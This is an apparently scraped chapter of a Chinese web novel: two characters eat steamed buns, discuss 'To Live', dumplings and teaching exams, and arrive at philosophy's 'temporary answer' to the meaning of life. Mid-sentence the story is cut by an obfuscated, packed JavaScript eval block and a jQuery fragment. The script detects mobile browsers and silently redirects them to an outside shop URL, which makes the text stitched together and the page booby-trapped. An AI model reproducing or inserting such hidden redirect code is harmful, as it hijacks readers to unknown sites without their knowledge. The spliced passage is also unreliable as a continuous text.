黄晶睡醒的时候，墙上的挂钟刚好走过下午两点，阳光把裴砚的后背晒出一片暖色。他坐在沙发旁的地板上，背靠着沙发边缘，手里拿着手机在邮件、股票和某个他不太想回的群消息界面切换看。
黄晶的脚从沙发扶手上滑下来，用没受伤的那只脚轻轻踢了踢他的肩膀，“给我蒸四个馒头去。”
裴砚从地板上站起来，走到厨房，从冰箱里拿出那袋速冻馒头，拆开，把四个馒头码进蒸笼里。电煮锅的水是早上煮粥剩下的，还温着，按下开关，锅里的水很快就咕嘟咕嘟地滚起来。
馒头蒸好的时候，他把它们一个一个夹进盘子里，端到她面前的茶几上，又去厨房拿了她那瓶酱菜和一双筷子，方头朝她。
黄晶从沙发上坐起来，头发睡得乱七八糟，左边那一撮翘得尤其嚣张。她没管，拿起一个馒头，烫得在两只手之间来回倒了好几遍，最后还是忍不住凑上去咬了一口。
面皮在蒸汽里鼓得圆润饱满，咬下去有微微的韧劲和淡淡的甜，她嚼着嚼着，含糊地说了句“好吃”。
然后她忽然开口：“我也不知道为什么我这么喜欢吃馒头。可能我上辈子是个北方人？”
黄晶吃完一个，又拿起第二个。这次没那么烫了，她咬了一大口，腮帮子鼓鼓的，嚼着嚼着想起什么，从盘子里拿起一个馒头放到他手里，不容拒绝，“给。”
“你有没有什么特别想吃的？”黄晶啃着馒头，语气很平静，像是在问一个跟自己无关的问题。
裴砚咬了一口她塞过来的馒头，嚼完咽下去，然后说了两个字：“饺子。”
“什么馅的？”
“韭菜鸡蛋。”
“嘿，我也是，还真神奇呢！”黄晶盘腿坐在沙发上，手里举着半个馒头，像是发现了什么了不得的巧合。
“不过每次吃完嘴里一股味。”她咬了一口馒头，边嚼边说，“其实荠菜鸡蛋也好吃，但荠菜很少见。现在春天好像就是吃荠菜时候——什么三月三，荠菜煮鸡蛋。”
黄晶说着说着把自己说馋了，盯着天花板想了一会儿荠菜饺子的味道，然后忽然低头问他，“现在几号来着？农历的话……嘶，农历阳历那些我总是分不清，不过是不是快到五一了？”
“四月二十六。”
“那五一快到了。不知道北京五一有什么好玩的，不过肯定到处都是人。”黄晶把最后一口馒头塞进嘴里，腮帮子鼓得像只松鼠，嚼完了又伸手去拿第三个，然后忽然停住，看了看盘子里最后一个馒头，又看了看他。“你还要吗？”
“你吃。”
“那我吃了。”她毫不客气地拿起第四个馒头，咬了一大口，嚼了两下，忽然瞪大了眼睛——那口馒头太大太急，卡在喉咙里不上不下。黄晶一手拍着胸口咳嗽，一手指着茶几上的水杯，艰难地挤出两个字：“水——”
裴砚已经把水杯递到黄晶手边，她抓起来连灌了好几口。水顺着她的下巴滴到卫衣领口上，她没管，又灌了一口，终于把那股噎在嗓子眼的馒头顺了下去。她放下杯子，大口喘气，眼睛红红的，眼角还挂着刚才呛出来的泪花。
“《活着》里是不是有谁吃馒头噎死的？”咳了一下算是恢复，又问：“我上辈子是不是被馒头噎死的？”
“是豆子。”
“啊？”黄晶眨了眨眼，睫毛上还挂着水珠。
“福贵的外孙。不是吃馒头，是吃豆子噎死的。”
“我记得书里是有吃馒头噎死的啊。”黄晶把馒头放回盘子里，拍拍手上的碎屑，拿起手机开始搜。拇指在屏幕上快速滑动，眉头微蹙，嘴里还念念有词，“不是苦根……苦根是吃豆子……还有一个，我肯定记得有一个吃馒头噎死的……”
“找到了！”黄晶把手机屏幕转向他，差点怼到他鼻子上，“是那个医生！就是那个——凤霞生孩子的时候，那个医生一口气吃了七个馒头，噎死了！”她把手机拿回来，低头又看了一遍搜索结果，确认自己没有记错，然后放下手机，露出一种“看吧我是对的”的表情。
“你看，我就说我记得没错。七个馒头，一口气吃的。我才吃三个，还差四个。”黄晶说着拿起刚才剩下的馒头继续啃，“那个医生也是可怜，被关牛棚里太久，他一口气吃噎着了。”
她嚼着馒头，摇了摇头，语气里带着一丝惋惜，但很快又想到了什么，抬头看他，“你竟然也看《活着》？不过《活着》确实是名著。”
黄晶把最后一口馒头塞进嘴里，腮帮子鼓鼓地嚼着。“我第一次看好像是初中还是高中时候，班级放的电影，葛优巩俐演的，当时给我看哭了。”
她说着说着语速慢了下来，语气从刚才的兴奋慢慢沉淀下来，“我那时候不懂，生活那么苦，为什么还要活着？过了这么多年，我也还是不懂。”
黄晶把目光从天花板上收回来，低头看着自己膝盖上那块红肿，沉默了片刻，然后抬起头问他：“你说，人活着是为了什么？”
裴砚手里那个馒头还冒着微微的热气，他没有马上回答。
他想起第一次见到她时她问“打表还是按公里”，想起她在暴雨天浑身发抖说不出话，想起她在会所里面对刀子往前走，想起她昨晚用台灯砸他然后喊妈妈，想起她刚才被馒头噎到猛灌水然后问他“我上辈子是不是被馒头噎死的”。
裴砚把馒头掰成两半，把其中一半递给她，“为了吃馒头。”
黄晶愣了一下，然后接过那半个馒头，低头看了看，忽然笑了，像是心里某个一直拧着的螺丝忽然被拧松了一圈。她把那半个馒头举起来，对着阳光看了看，然后咬了一口。“行，这个理由我接受。”
“你是北方人吗？好像北方人更喜欢吃面食，比如饺子之类的。”黄晶靠在沙发上，手里还捏着刚才他掰给她的那半个馒头，小口小口地啃着，膝盖上的红肿已经消了大半，云南白药的药味混着馒头的面香飘在空气里。
“我以前家里都不吃饺子，因为我们那边没有吃饺子的习惯。我是上了大学之后才发现——怎么到处都是卖饺子的？食堂有饺子窗口，超市有速冻饺子，外卖有饺子专题推荐。然后我知道了北方饺子南方面，开始我说我没吃过饺子，我室友还很惊讶来着，说什么‘中国人都吃饺子’。我当时懵了，想着我难道不是中国人？我身份证上写的是中国没错啊，为什么没吃过饺子就要被开除国籍？”
她说得太投入，差点把馒头渣喷出来，咽下去又继续，“所以我开始很抗拒饺子——也不是抗拒，就是不太喜欢。但后面我也慢慢习惯了，甚至不知道吃啥的时候就想吃饺子。人的口味确实会随着时间而变。”
黄晶顿了顿，忽然话锋一转，竖起一根手指，表情严肃像是在发表重要的学术声明：“但我还是不太喜欢醋，不喜欢那种酸酸的味道。我喜欢蘸辣油，那种才好吃。”
她把最后一口馒头塞进嘴里，嚼完咽下去，然后抬头看他，像是忽然想起他刚才的问题还没回答，“所以你是北方人吗？”
“北京出生，算北方。”裴砚顿了顿，又补了一句，“我妈是南方人，小时候家里也不包饺子。后来去美国，唐人街有一家东北饺子馆，韭菜鸡蛋，每次考试前会去吃一盘。”
裴砚难得说这么长一串，自己大概也意识到了，停下来，低头看了看手里那半个已经凉了的馒头，然后抬头看她，“下次可以试试蘸醋。少蘸一点，不酸。”
“你考试前吃饺子？”黄晶笑了，眼睛弯成两道桥，“我们当年考教资的时候也吃饺子。因为教资，饺子——吃过饺子，教资就过。我第一次时候没吃，我室友她们吃了，结果她们过了，我没过。”
黄晶说到“没过”的时候语气很坦然，像是在说别人的事，还掰着手指头继续算，“然后第二次时候我好像吃了——不过好像吃的煎饺，然后过了。但我们宿舍还有另一个人也没过，第一次我们好像都没吃饺子。第二次我们那天好像一起吃的面，我不记得她有没有吃饺子了？但第二次她没过，败在了综合素质上了。我第一次也是败在那上面，差一分，素质太差了。”
黄晶说到“素质太差”的时候还自我解嘲地摇了摇头，然后忽然坐直了一点，一本正经地补充道，“但我现在素质还行。”
裴砚看着她，手里那半个馒头已经彻底凉了，但他没有放下的意思，“你考了教资，为什么没当老师？”
“考了教资为啥就要当老师啊？”黄晶看着他，表情真诚地困惑着，“你去美国留学怎么不在那边工作呢？”
裴砚手里那半个凉透的馒头被他不轻不重地放回盘子里。“我问了，所以你先答。”他说。
“我先问的，所以你先答。”黄晶毫不示弱地怼回去。
两个人对视了大概有三秒钟。裴砚率先移开目光，低头看了一眼自己手里那半个馒头，然后靠回沙发边缘，“无聊。”
“啥？”黄晶没听懂。
“无聊。家里安排的路，走完了也就那样。在那边工作还是在这边工作，没什么区别。”裴砚把目光从天花板上收回来，侧头看她，“该你了。”
“我考教资是因为当初室友都考了，所以我也考了。多一个证多一个出路呗！”黄晶靠在沙发上，掰着手指头数，“但其实我不想当老师，因为我觉得我根本教不好人。所以我报的是小学的，小学数学。”
“原本想报小学语文，但我普通话二甲没过，没办法只能报数学了。”说到“二甲没过”的时候她的语气毫无波澜，显然早已接受了自己平翘舌不分的事实。
接着她又开始分析自己为什么不报中学——高中要高考，她自己高考也不咋地，教别人简直是误人子弟；初中也有中考，而
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17634931|206530||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
且那群孩子跟她自己差不多大，不好管。最后黄晶总结道，“所以最后我选择了教小学。那群小孩感觉好管点。”
“数学教什么？”
“乘法口诀表、加减乘除、分数和小数的转换之类的。”黄晶掰着手指头列举完，忽然叹了口气，“但我现在连自己的账都算不清楚。包养合同都能写成租房合同，押一付一还被人骗了两千块，就我这数学水平，还是别去祸害小学生了。”
她自嘲完，话锋一转，下巴微扬，目光炯炯地看着他，“你还没回答我呢，你读的什么专业？不会是那种听起来特别唬人其实什么也没学到的商科吧？”
“经济学。本科辅修了哲学。”裴砚顿了顿，似乎觉得这两个专业名连在一起听起来确实挺唬人的，但又确实没什么实际用处，于是自觉补了一句，“是挺唬人的。”
“哲学？！”黄晶的眼睛瞬间瞪圆了，整个人从沙发上弹起来一点，又因为膝盖的伤龇牙咧嘴地靠回去，但这点疼痛完全压不住她的震惊，“哲学学啥啊？听起来好高奥啊——不对，深奥，深奥！我之前考研政治里就有接触到一点，什么形而上学之类的，但我听不懂，所以不行退学了。”
黄晶说“退学了”的时候差点咬到自己舌头，但她不管，挥了挥手像是在驱散那个总跟她作对的平翘舌音。然后身体前倾，双手撑在膝盖上，用一种“快给我讲讲你们专业有没有什么不为人知的秘密”的八卦语气追问：
“你们上课是不是整天讨论‘我是谁我从哪来到哪去’？真的有那种课吗？还是天天看那些长得吓人的大厚书？考试怎么考啊，写论文吗？论文写什么——论人类存在的意义？”
“……差不多。”说着裴砚手指无意识地在茶几边缘轻轻敲了一下。“真的有那种课——讨论‘我是谁’的，也有看厚书的，康德、黑格尔，确实很厚。考试是写论文，论文题目有时候是‘论人类存在的意义’，有时候是‘为什么存在不是谓词’。”
顿了顿，好像在回忆某篇写得不太顺利的期末论文，“形而上学不是考研政治里那个意思，它不问世界是物质的还是意识的，它问——‘存在’本身是什么。比如你面前的馒头，它‘存在’这件事，比它是圆的还是白的更根本。这个问题没有标准答案，所以每个人都要自己找一个临时的。”
裴砚说完这些，抬眼看她。黄晶正盘腿坐在沙发上，手肘撑着膝盖，手掌托着下巴，听得聚精会神。
“你刚才问活着是为了什么。”裴砚拿起自己手里那半块馒头，举在她眼前。灯光从馒头边缘透过来，面皮已经干了，边缘有点裂，但还完整地保持着被掰开的形状。“这就是临时答案。”
黄晶盯着那半块馒头，眉头拧起来，既困惑又想笑：“临时答案？这是什么？零食我知道，答案我也知道，这两组合一起我不知道了。”她把馒头从他手里拿过来，翻了个面，像在检查里面是不是藏了什么哲学密码。
裴砚看着她把馒头翻来翻去也没翻出什么名堂，伸手把那半个馒头从她手里拿回来，咬了一口。
“你刚才问活着是为了什么。”他把剩下那一小半递到她嘴边，“我说为了吃馒头。那个就是临时答案。形而上学的问题没有标准答案，但你不能没有答案。所以先找一个临时的，不用想太远，想太远头疼。你今天中午吃了三个馒头——噎到了，差点死掉，然后又活过来了。这就是今天活着的意义。为了吃馒头，为了噎到，为了被水救回来，为了跟我吵架。这些就够了。每天找一个，不用想明天。”
黄晶低头看了看，又抬头看了看他，没有张嘴，而是把他拿着馒头的手推回去。“这半个你不是也咬过了吗？我不吃别人口水。”
裴砚低头看了看手里那块被他咬过一口的馒头，沉默了片刻，然后把它塞进自己嘴里。嚼完咽下去：“下次掰之前先问你。”
“你这人还怪有意思的呢。”黄晶靠在沙发扶手上，歪着头看他，嘴角还挂着刚才那个没来得及收起来的笑，“原本以为你是个闷葫芦，没想到聊到你专业的地方倒也还挺能说的。不过说的不错。”
黄晶竖起大拇指，冲他晃了晃，又补了一句，“你这个临时答案的理论，比考研政治书上那些‘树立正确人生观’的套话好理解多了。至少馒头是真的，噎到也是真的，水是真的，茶几是真的，你被台灯砸也是真的。”
她把腿伸直，轻轻踢了一下他坐在地板上的后背，“下次你要是再想出什么临时答案，记得分我一半。”
黄晶吃完馒头，又和裴砚唠了半晌嗑，吃完药差不多快下午四点了。她靠在沙发上，眼睛慢慢眯起来，嘴里还念叨着“临时答案这个说法不错，我接受了”，声音越来越含糊。她又犯困睡着了。
裴砚把黄晶膝盖上滑下来的小电风扇接住，放在茶几上，又把被他坐皱的沙发垫抚平。